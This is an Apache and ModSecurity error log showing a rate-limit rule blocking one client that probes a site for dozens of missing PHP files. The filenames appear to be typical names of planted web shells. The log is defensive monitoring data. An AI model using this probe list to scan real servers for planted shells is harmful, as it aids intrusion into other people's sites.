[Fri Apr 24 06:45:04.318907 2026] [:error] [pid 19100:tid 19132] [client 74.248.17.200:15812] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berax.php"] [unique_id "aeqg8LF_hzQs4CqbifcVPgAAABY"]
[Fri Apr 24 06:45:05.509604 2026] [:error] [pid 19200:tid 19221] [client 74.248.17.200:15406] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berax.php"] [unique_id "aeqg8TQ--M3-tsKAnhGzrgAAAM0"]
[Fri Apr 24 06:45:06.343834 2026] [:error] [pid 52129:tid 52142] [client 74.248.17.200:11591] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berax.php"] [unique_id "aeqg8uKCZKf8_u2LKiB_tAAAAQk"]
[Fri Apr 24 06:45:07.280739 2026] [:error] [pid 52129:tid 52149] [client 74.248.17.200:6337] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berax.php"] [unique_id "aeqg8-KCZKf8_u2LKiB_tQAAARA"]
[Fri Apr 24 06:45:07.897468 2026] [:error] [pid 52129:tid 52155] [client 74.248.17.200:14208] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkxzo.php"] [unique_id "aeqg8-KCZKf8_u2LKiB_uQAAARY"]
[Fri Apr 24 06:45:08.482981 2026] [:error] [pid 19100:tid 19132] [client 74.248.17.200:37110] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkxzo.php"] [unique_id "aeqg9LF_hzQs4CqbifcVVAAAABY"]
[Fri Apr 24 06:45:09.217132 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:23841] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkxzo.php"] [unique_id "aeqg9eKCZKf8_u2LKiB_uwAAAQs"]
[Fri Apr 24 06:45:10.358678 2026] [:error] [pid 19102:tid 19178] [client 74.248.17.200:14524] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkxzo.php"] [unique_id "aeqg9gDSgrbLEZbkqD7WvwAAAI4"]
[Fri Apr 24 06:45:11.240506 2026] [:error] [pid 19200:tid 19208] [client 74.248.17.200:28903] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdxadmin.php"] [unique_id "aeqg9zQ--M3-tsKAnhGztwAAAMA"]
[Fri Apr 24 06:45:12.161128 2026] [:error] [pid 19102:tid 19171] [client 74.248.17.200:6370] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdxadmin.php"] [unique_id "aeqg-ADSgrbLEZbkqD7WwQAAAIc"]
[Fri Apr 24 06:45:16.176653 2026] [:error] [pid 19100:tid 19113] [client 74.248.17.200:35313] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdxadmin.php"] [unique_id "aeqg_LF_hzQs4CqbifcVYAAAAAQ"]
[Fri Apr 24 06:45:17.987001 2026] [:error] [pid 52129:tid 52142] [client 74.248.17.200:20858] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdxadmin.php"] [unique_id "aeqg_eKCZKf8_u2LKiB_wwAAAQk"]
[Fri Apr 24 06:45:20.289901 2026] [:error] [pid 19200:tid 19229] [client 74.248.17.200:23825] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dfre.php"] [unique_id "aeqhADQ--M3-tsKAnhGzwwAAANU"]
[Fri Apr 24 06:45:21.998573 2026] [:error] [pid 19101:tid 19155] [client 74.248.17.200:23870] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dfre.php"] [unique_id "aeqhAWAHj9bEvrTgbO3cLwAAAFI"]
[Fri Apr 24 06:45:22.623287 2026] [:error] [pid 52129:tid 52152] [client 74.248.17.200:6378] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dfre.php"] [unique_id "aeqhAuKCZKf8_u2LKiB_ygAAARM"]
[Fri Apr 24 06:45:23.482708 2026] [:error] [pid 19102:tid 19181] [client 74.248.17.200:11695] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dfre.php"] [unique_id "aeqhAwDSgrbLEZbkqD7WyAAAAJE"]
[Fri Apr 24 06:45:24.228831 2026] [:error] [pid 19200:tid 19211] [client 74.248.17.200:17773] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "aeqhBDQ--M3-tsKAnhGzxAAAAMM"]
[Fri Apr 24 06:45:25.022015 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:20824] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "aeqhBTQ--M3-tsKAnhGzxQAAANA"]
[Fri Apr 24 06:45:25.671489 2026] [:error] [pid 19200:tid 19216] [client 74.248.17.200:14271] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "aeqhBTQ--M3-tsKAnhGzxwAAAMg"]
[Fri Apr 24 06:45:26.355312 2026] [:error] [pid 19102:tid 19187] [client 74.248.17.200:34653] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "aeqhBgDSgrbLEZbkqD7WygAAAJc"]
[Fri Apr 24 06:45:27.053880 2026] [:error] [pid 19100:tid 19133] [client 74.248.17.200:22419] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shorw.php"] [unique_id "aeqhB7F_hzQs4CqbifcVZQAAABc"]
[Fri Apr 24 06:45:27.618147 2026] [:error] [pid 19101:tid 19138] [client 74.248.17.200:28923] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shorw.php"] [unique_id "aeqhB2AHj9bEvrTgbO3cMQAAAEE"]
[Fri Apr 24 06:45:28.146484 2026] [:error] [pid 19100:tid 19123] [client 74.248.17.200:34652] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shorw.php"] [unique_id "aeqhCLF_hzQs4CqbifcVZgAAAA0"]
[Fri Apr 24 06:45:28.690607 2026] [:error] [pid 19102:tid 19188] [client 74.248.17.200:28910] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shorw.php"] [unique_id "aeqhCADSgrbLEZbkqD7W0QAAAJg"]
[Fri Apr 24 06:45:29.248971 2026] [:error] [pid 19101:tid 19160] [client 74.248.17.200:28876] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aeqhCWAHj9bEvrTgbO3cMwAAAFc"]
[Fri Apr 24 06:45:29.926014 2026] [:error] [pid 19101:tid 19141] [client 74.248.17.200:35278] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aeqhCWAHj9bEvrTgbO3cNAAAAEQ"]
[Fri Apr 24 06:45:30.483131 2026] [:error] [pid 52129:tid 52143] [client 74.248.17.200:22411] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aeqhCuKCZKf8_u2LKiB_1wAAAQo"]
[Fri Apr 24 06:45:31.060579 2026] [:error] [pid 52129:tid 52137] [client 74.248.17.200:17759] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aeqhC-KCZKf8_u2LKiB_2QAAAQQ"]
[Fri Apr 24 06:45:31.640114 2026] [:error] [pid 52129:tid 52147] [client 74.248.17.200:20853] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seyv.php"] [unique_id "aeqhC-KCZKf8_u2LKiB_3AAAAQ4"]
[Fri Apr 24 06:45:32.341782 2026] [:error] [pid 52129:tid 52140] [client 74.248.17.200:18481] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seyv.php"] [unique_id "aeqhDOKCZKf8_u2LKiB_3wAAAQc"]
[Fri Apr 24 06:45:33.020897 2026] [:error] [pid 52129:tid 52150] [client 74.248.17.200:23843] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seyv.php"] [unique_id "aeqhDeKCZKf8_u2LKiB_4QAAARE"]
[Fri Apr 24 06:45:33.613655 2026] [:error] [pid 52129:tid 52135] [client 74.248.17.200:23811] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seyv.php"] [unique_id "aeqhDeKCZKf8_u2LKiB_5AAAAQI"]
[Fri Apr 24 06:45:34.194115 2026] [:error] [pid 52129:tid 52149] [client 74.248.17.200:35300] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad821.php"] [unique_id "aeqhDuKCZKf8_u2LKiB_5gAAARA"]
[Fri Apr 24 06:45:35.245210 2026] [:error] [pid 19101:tid 19161] [client 74.248.17.200:22412] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad821.php"] [unique_id "aeqhD2AHj9bEvrTgbO3cPgAAAFg"]
[Fri Apr 24 06:45:36.245793 2026] [:error] [pid 19101:tid 19138] [client 74.248.17.200:37104] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad821.php"] [unique_id "aeqhEGAHj9bEvrTgbO3cQwAAAEE"]
[Fri Apr 24 06:45:37.110458 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:21960] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad821.php"] [unique_id "aeqhEeKCZKf8_u2LKiB_6wAAAQs"]
[Fri Apr 24 06:45:37.896493 2026] [:error] [pid 19102:tid 19174] [client 74.248.17.200:17751] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8210.php"] [unique_id "aeqhEQDSgrbLEZbkqD7W1QAAAIo"]
[Fri Apr 24 06:45:39.207741 2026] [:error] [pid 52129:tid 52134] [client 74.248.17.200:28878] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8210.php"] [unique_id "aeqhE-KCZKf8_u2LKiB_7wAAAQE"]
[Fri Apr 24 06:45:40.239835 2026] [:error] [pid 19200:tid 19217] [client 74.248.17.200:17746] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8210.php"] [unique_id "aeqhFDQ--M3-tsKAnhGz0QAAAMk"]
[Fri Apr 24 06:45:41.604107 2026] [:error] [pid 19102:tid 19184] [client 74.248.17.200:20849] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8210.php"] [unique_id "aeqhFQDSgrbLEZbkqD7W1wAAAJQ"]
[Fri Apr 24 06:45:43.431965 2026] [:error] [pid 19100:tid 19128] [client 74.248.17.200:34663] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8rd1.php"] [unique_id "aeqhF7F_hzQs4CqbifcVagAAABI"]
[Fri Apr 24 06:45:44.168268 2026] [:error] [pid 19200:tid 19221] [client 74.248.17.200:6383] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8rd1.php"] [unique_id "aeqhGDQ--M3-tsKAnhGz1AAAAM0"]
[Fri Apr 24 06:45:44.951963 2026] [:error] [pid 19100:tid 19127] [client 74.248.17.200:18467] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8rd1.php"] [unique_id "aeqhGLF_hzQs4CqbifcVawAAABE"]
[Fri Apr 24 06:45:45.705566 2026] [:error] [pid 19200:tid 19214] [client 74.248.17.200:21541] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8rd1.php"] [unique_id "aeqhGTQ--M3-tsKAnhGz1gAAAMY"]
[Fri Apr 24 06:45:46.482111 2026] [:error] [pid 19200:tid 19215] [client 74.248.17.200:23824] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saxzgf5.php"] [unique_id "aeqhGjQ--M3-tsKAnhGz2AAAAMc"]
[Fri Apr 24 06:45:47.047490 2026] [:error] [pid 19200:tid 19225] [client 74.248.17.200:14497] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saxzgf5.php"] [unique_id "aeqhGzQ--M3-tsKAnhGz2QAAANE"]
[Fri Apr 24 06:45:47.830896 2026] [:error] [pid 19101:tid 19156] [client 74.248.17.200:37096] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saxzgf5.php"] [unique_id "aeqhG2AHj9bEvrTgbO3cUgAAAFM"]
[Fri Apr 24 06:45:48.702496 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:18452] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saxzgf5.php"] [unique_id "aeqhHOKCZKf8_u2LKiB_9gAAAQs"]
[Fri Apr 24 06:45:49.380251 2026] [:error] [pid 52129:tid 52143] [client 74.248.17.200:15810] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saxzw9t.php"] [unique_id "aeqhHeKCZKf8_u2LKiB_9wAAAQo"]
[Fri Apr 24 06:45:50.110371 2026] [proxy_fcgi:error] [pid 52129:tid 52145] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:50.395663 2026] [proxy_fcgi:error] [pid 52129:tid 52142] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:50.683365 2026] [proxy_fcgi:error] [pid 52129:tid 52149] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:50.969376 2026] [proxy_fcgi:error] [pid 52129:tid 52153] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:51.253336 2026] [proxy_fcgi:error] [pid 52129:tid 52151] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:51.570033 2026] [proxy_fcgi:error] [pid 52129:tid 52157] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:51.864008 2026] [proxy_fcgi:error] [pid 52129:tid 52139] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:52.148862 2026] [proxy_fcgi:error] [pid 52129:tid 52146] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:52.435577 2026] [proxy_fcgi:error] [pid 52129:tid 52141] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:52.720664 2026] [proxy_fcgi:error] [pid 52129:tid 52155] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:53.007630 2026] [proxy_fcgi:error] [pid 52129:tid 52138] [client 74.248.17.200:23834] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:45:53.288553 2026] [:error] [pid 52129:tid 52137] [client 74.248.17.200:23834] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "aeqhIeKCZKf8_u2LKiCACQAAAQQ"]
[Fri Apr 24 06:45:54.276572 2026] [:error] [pid 19102:tid 19183] [client 74.248.17.200:15817] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "aeqhIgDSgrbLEZbkqD7W2gAAAJM"]
[Fri Apr 24 06:45:55.620737 2026] [:error] [pid 52129:tid 52142] [client 74.248.17.200:35303] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "aeqhI-KCZKf8_u2LKiCAEAAAAQk"]
[Fri Apr 24 06:45:57.594073 2026] [:error] [pid 19101:tid 19154] [client 74.248.17.200:14486] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "aeqhJWAHj9bEvrTgbO3cXAAAAFE"]
